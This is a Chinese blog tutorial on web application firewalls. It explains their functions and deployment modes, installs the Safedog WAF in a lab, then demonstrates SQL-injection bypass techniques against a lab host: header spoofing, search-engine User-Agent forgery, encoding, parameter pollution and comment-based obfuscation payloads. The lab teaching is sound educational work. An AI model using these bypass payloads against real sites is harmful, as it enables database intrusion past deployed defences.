绕过WAF(Web应用程序防火墙)--介绍、主要功能、部署模式、分类及注入绕过方式等
网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。
一、WAF简介
WAF的全称是(Web Application Firewall)即Web应用防火墙,简称WAF。
网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
常见的系统攻击分为两类:
一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;
二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。
二、WAF主要功能
网马木马主动防御及查杀
网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
流量监控
能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
网站漏洞防御功能
可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。
危险组件防护功能
全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全
.Net安全保护模块
快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全
双层防盗链链接模式
可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面
网站特定资源防下载
支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载
CC攻击防护
自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。
网站流量保护
支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。
IP黑白名单
全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
三、WAF的多种部署模式(了解)
WAF一般支持透明代理,反向代理,旁路监控,桥模式部署模式。
3.1、透明代理串接模式:
透明代理串接模式是采用最多的部署模式,防御效果好。
透明代理部署模式支持透明串接部署方式。串接在用户网络中,可实现即插即用,无需用户更改网络设备与服务器配置。部署简单易用,应用于大部分用户网络中。
部署特点:
- 不需要改变用户网络结构,对于用户而言是透明的
- 安全防护性能强
- 故障恢复快,可支持Bypass
3.2、旁路监控模式:
采用旁路监听模式,在交换机做服务器端口镜像,将流量复制一份到WAF上,部署时不影响在线业务。在旁路模式下WAF只会进行告警而不阻断。
3.3、反向代理模式:
反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)。
3.3.1、代理模式:
当外网去访问www.xxx.com时,会解析到110.1.1.1。在网络防火墙FW上,会通过nat-server技术,将110.1.1.1外网地址解析为192.168.1.1的内网地址。而192.168.1.1为WAF的业务口地址,WAF会去访问后端服务器192.168.1.100,将包返回给WAF,WAF再返回给用户,起到了代理作用,隐藏了真正的Web服务器地址。
部署特点:
- 可旁路部署,对于用户网络不透明,防护能力强
- 故障恢复时间慢,不支持Bypass,恢复时需要重新将域名或地址映射到原服务器。
- 此模式应用于复杂环境中,如设备无法直接串接的环境。
- 访问时需要先访问WAF配置的业务口地址。
- 支持VRRP主备
3.3.2、 牵引模式:
WAF采用反向代理模式以旁路的方式接入到网络环境中,需要在核心交换机上做策略路由PBR,将客户端访问服务器的流量牵引到WAF上,策略路由的下一跳地址为WAF的业务口地址。
部署特点:
- 可旁路部署,对于用户网络不透明。
- 故障恢复时间慢,不支持Bypass,恢复时需要删除路由器策略路由配置。
- 此模式应用于复杂环境中,如设备无法直接串接的环境。
- 访问时仍访问网站服务器
3.4、透明桥模式:
透明桥模式是真正意义上的纯透明,不会改变更改数据包任何内容,比如源端口、TCP序列号,桥模式不跟踪TCP会话,可支持路由不对称环境。
四、防火墙与waf区别**:
简单来说:
4.1、防火墙主要关注网络层的防护,提供基础的访问控制。
4.2、Waf(Web应用程序防火墙)主要用于应用层防护,识别并阻止针对Web应用的特定攻击(如SQL注入、跨站脚本攻击等)
五、市场Waf分类
5.1硬件Waf:
绿盟、安恒、启明、知道创宇等
5.2软件Waf:
安全狗、云锁、中间件自带的Waf模块等
5.3云WAF:
阿里云、安全狗、知道创宇、安恒等
六、安全狗安装
软件waf安全狗安装步骤:
运行cmd,cd进入apache/bin文件夹目录
cd C:\phpStudy\Apache\bin
执行httpd.exe -k install -n apache2.4.39
httpd.exe -k install -n apache2.4.39
打开apache,打开安全狗安装包进行安装:
安装完成后点击安装安全狗插件:
点击确认:
安装过程不动,任务管理器结束任务,重启软件显示已安装。
然后注册登录,正常使用:
打开访问mysql靶场环境,url填写插入sql注入语句:
http://10.0.0.101:90/mysql/sql.php?id=1 and 1=2
waf已生效。(未生效重启phpstudy)
注:拦截规则库:网站防护-漏洞防护设置里
七、WAF的检测方法
首先白名单黑名单身份认证--数据包解析--规则判断--拦截
八、Waf注入绕过方法
8.1、burp安装waf模块
云WAF绕过方法:伪造XFF头为127.0.0.1或找出真实IP绕过
bp安装【Bypass WAF】插件:配置插件
访问mysql靶场环境。bp抓包:
http://10.0.0.101:90/mysql/sql.php?id=1
放到重发器,发送请求包,请求包会自动添加127.0.0.1:
尝试url随机加空格进行绕过,等:
8.2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录
常用搜索引擎User-Agent头指纹信息;
百度User-Agent头:
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Google User-Agent头:
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
360搜索User-Agent头:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);
雅虎中国User-Agent头:
“Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)”
搜狗User-Agent头:
“Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)”
Internet Explorer 8User-Agent头:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
也可以用火狐浏览器获取User-Agent头:
--------------------------
bp抓包批量替换为搜索引擎User_Agent头信息,来实现绕过:
8.3、WAF数据包解析阶段的绕过
(1)编码绕过
最常见的方法之一,可以进行urlencode
如:
http://10.0.0.101:90/mysql/sql.php?id=1 && 1=1
url编码:
http://10.0.0.101:90/mysql/sql.php?id=1%20%26%26%201=1
早期的方法,现在效果不是太好
(2)修改请求方式绕过
因wsf默认检测url对get请求拦截;cookie和post请求默认不开启,利用这一特点,修改请求方式绕过
(3)复参数绕过
例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
如:
http://10.0.0.101:90/mysql/sql.php?id=1 and 1=2
修改为:
http://10.0.0.101:90/mysql/sql.php?id=1&id=1=2
(4)WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。
绕过策略一:特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
如:
http://10.0.0.101:90/mysql/sql.php?id=1 and 1=1
修改为:
http://10.0.0.101:90/mysql/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-1
测试:
http://10.0.0.101:90/mysql/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-2
说明: /*|%23--%23|*/代替空格;-1代替1(1被waf拦截)
/|%23--%23|/ 的作用: 这串字符是通过编码和特殊符号组合来尝试模拟空格或分隔符。在SQL语句中,正常的空格会被用来分隔关键字和参数。但是,当直接使用空格或被WAF识别的常见分隔符时,可能会触发WAF的防护规则。因此,攻击者使用
/*
开始一个多行注释,接着是URL编码的%23
(代表#
),#
在SQL中用于开始单行注释,最后再用*/
尝试结束之前可能未闭合的注释,形成一种混淆,企图让WAF误判或忽略这部分内容。|
字符在这里可能被用作自定义的分隔符,尝试在某些情况下绕过规则。-1代替1: 这种替换是为了规避WAF对特定数值或模式的直接拦截。如果WAF被配置为阻止特定查询模式,比如查询字符串中包含数字
1
可能被认为是潜在的攻击尝试(例如,在尝试枚举数据库时),攻击者会尝试使用其他值或表达式来达到相同目的,同时避免触发WAF的警报。使用-1=-2
这样的逻辑表达式,目的是使整个条件始终为假,它的真正意图是测试注入点的有效性,而非执行有效的数据库查询。
-----------------
感谢您阅读至此,更多精彩的内容将在下一篇文章中展开,请继续关注。
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
相关文章:

绕过WAF(Web应用程序防火墙)--介绍、主要功能、部署模式、分类及注入绕过方式等
网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护&…...

11.7 堆排序
目录 11.7 堆排序 11.7.1 算法流程 11.7.2 算法特性 11.7 堆排序 Tip 阅读本节前,请确保已学完“堆“章节。 堆排序(heap sort)是一种基于堆数据结构实现的高效排序算法。我们可以利用已经学过的“建堆操作”和“元素出堆操作”…...

Patchwork++:基于点云的快速、稳健的地面分割方法
1. 背景 论文发表在2022IROS,是Patchwork的改进版本。算法通过数学方法进行快速而鲁棒性很强的地面分割,在智能机器人上的可操作性非常强。通过微调算法,可以应用于16-beams等多种规格的激光雷达。由于激光雷达点云数据标注的难度非常大&…...

Llama改进之——分组查询注意力
引言 今天介绍LLAMA2模型引入的关于注意力的改进——分组查询注意力(Grouped-query attention,GQA)1。 Transformer中的多头注意力在解码阶段来说是一个性能瓶颈。多查询注意力2通过共享单个key和value头,同时不减少query头来提升性能。多查询注意力可能导致质量下…...

英伟达开源新利器NV-Embed向量模型,基于双向注意力的LLM嵌入模型,MTEB 56项任务排名第一
前言 文本嵌入模型能够将文本信息转化为稠密的向量表示,并在信息检索、语义相似度计算、文本分类等众多自然语言处理任务中发挥着关键作用。近年来,基于解码器的大型语言模型 (LLM) 开始在通用文本嵌入任务中超越传统的 BERT 或 T5 嵌入模型,…...

JVM之【GC-垃圾清除算法】
Java虚拟机(JVM)中的垃圾收集算法主要分为以下几种: 标记-清除算法(Mark-Sweep)复制算法(Copying)标记-整理算法(Mark-Compact)分代收集算法(Generational C…...

数据分析每周挑战——心衰患者特征数据集
这是一篇关于医学数据的数据分析,但是这个数据集数据不是很多。 背景描述 本数据集包含了多个与心力衰竭相关的特征,用于分析和预测患者心力衰竭发作的风险。数据集涵盖了从40岁到95岁不等年龄的患者群体,提供了广泛的生理和生活方式指标&a…...
单例模式(Java实现)
我的相关文章: JavaSE 学习记录-CSDN博客 多线程笔记-CSDN博客 单例模式(Java实现)-CSDN博客 JUC笔记-CSDN博客 注解与反射(Java,类加载机制,双亲委派机制)-CSDN博客 1. 懒汉式线程不安全 pu…...
24.面向对象六大原则
目录介绍 00.面向对象六大原则01.代码单一职责原则02.代码开放封闭原则03.代码里氏替换原则04.代码依赖倒置原则05.代码接口隔离原则06.代码迪米特原则00.面向对象六大原则 六大原则一句话介绍 单一职责原则:指一个类的功能要单一,不能包罗万象。开放封闭原则:指一个模块在扩…...
Vue3-shallowRef与shallowReactive
shallowRef 作用:创建一个响应式数据,但只对顶层属性进行响应式处理。 用法: let myVar shallowRef(initialValue);特点:只跟踪引用值的变化,不关心值内部的属性变化。 shallowReactive 作用:创建一个浅…...

CI/CD(基于ESP-IDF)
主要参考资料 B站乐鑫信息科技《【乐鑫全球开发者大会】DevCon23 #15 |通过 CI/CD 进行流水线开发》 pytest-embedded乐鑫文档: https://docs.espressif.com/projects/pytest-embedded/en/latest/api.html 目录 CI/CD简介乐鑫内部CI/CD测试GitLab CI/CDGitHub Actio…...

聚观早报 | 东风奕派eπ008将上市;苹果Vision Pro发布会
聚观早报每日整理最值得关注的行业重点事件,帮助大家及时了解最新行业动态,每日读报,就读聚观365资讯简报。 整理丨Cutie 6月3日消息 东风奕派eπ008将上市 苹果Vision Pro发布会 特斯拉Model 3高性能版开售 小米14推送全新澎湃OS系统 …...

k8s牛客面经篇
k8s的pod版块: k8s的网络版块: k8s的deployment版块: k8s的service版块: k8s的探针板块: k8s的控制调度板块: k8s的日志监控板块: k8s的流量转发板块: k8s的宏观版块:...
第9周 基于MinIO与OSS实现分布式与云存储
第9周 基于MinIO与OSS实现分布式与云存储 1. 基于mybatis-plus数据修改非空属性忽略更新2. 文件上传3. 分布式文件存储3.1 文件存储架构演变4. Minio docker安装5. 文件服务整合minio依赖minio API测试yml配置minio信息minio配置类业务:上传文件6. 云存储阿里OSS:要钱6.1 依赖6…...
【Linux内核-编程指南】
■ IPC组件 添加链接描述 ■ ■ ■ ■ ■...

Go 编程风格指南 - 最佳实践
Go 编程风格指南 - 最佳实践 原文:https://google.github.io/styleguide/go 概述 | 风格指南 | 风格决策 | 最佳实践 注意: 本文是 Google Go 风格 系列文档的一部分。本文档是 规范性(normative) 但不是强制规范(canonical),并且从属于Goo…...
awk的应用
步骤一:awk的基本用法 1)基本操作方法 格式1:awk [选项] [条件]{指令} 文件 格式2:前置指令 | awk [选项] [条件]{指令} 其中,print 是最常用的编辑指令;若有多条编辑指令,可用分号分隔。 …...

【网络原理】HTTP|认识请求“报头“|Host|Content-Length|Content-Type|UA|Referer|Cookie
目录 认识请求"报头"(header) Host Content-Length Content-Type User-Agent(简称UA) Referer 💡Cookie(最重要的一个header,开发&面试高频问题) 1.Cookie是啥? 2.Cookie怎么存的? …...
深入React Hoooks:从基础到自定义 Hooks
使用 useContext useContext 是另一个常用的 Hook,它可让我们在函数组件中轻松访问 React 的 context。如果你的应用程序依赖于一些全局状态,或者你希望避免将 props 一层一层地传递到子组件,context 很有用。你可以在父组件设置一个值&…...

9.7 Go语言入门(映射 Map)
Go语言入门(映射 Map) 目录六、映射 Map1. 声明和初始化映射1.1 使用 make 函数1.2 使用映射字面量 2. 映射的基本操作2.1 插入和更新元素2.2 访问元素2.3 检查键是否存在2.4 删除元素2.5 获取映射的长度 3. 遍历映射4. 映射的注意事项4.1 映射的零值4.2…...

大话软工笔记—需求分析概述
需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器
一.自适应梯度算法Adagrad概述 Adagrad(Adaptive Gradient Algorithm)是一种自适应学习率的优化算法,由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率,适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

Unity3D中Gfx.WaitForPresent优化方案
前言 在Unity中,Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染(即CPU被阻塞),这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案: 对惹,这里有一个游戏开发交流小组&…...

抖音增长新引擎:品融电商,一站式全案代运营领跑者
抖音增长新引擎:品融电商,一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中,品牌如何破浪前行?自建团队成本高、效果难控;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...

企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)
一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...

Rust 开发环境搭建
环境搭建 1、开发工具RustRover 或者vs code 2、Cygwin64 安装 https://cygwin.com/install.html 在工具终端执行: rustup toolchain install stable-x86_64-pc-windows-gnu rustup default stable-x86_64-pc-windows-gnu 2、Hello World fn main() { println…...

恶补电源:1.电桥
一、元器件的选择 搜索并选择电桥,再multisim中选择FWB,就有各种型号的电桥: 电桥是用来干嘛的呢? 它是一个由四个二极管搭成的“桥梁”形状的电路,用来把交流电(AC)变成直流电(DC)。…...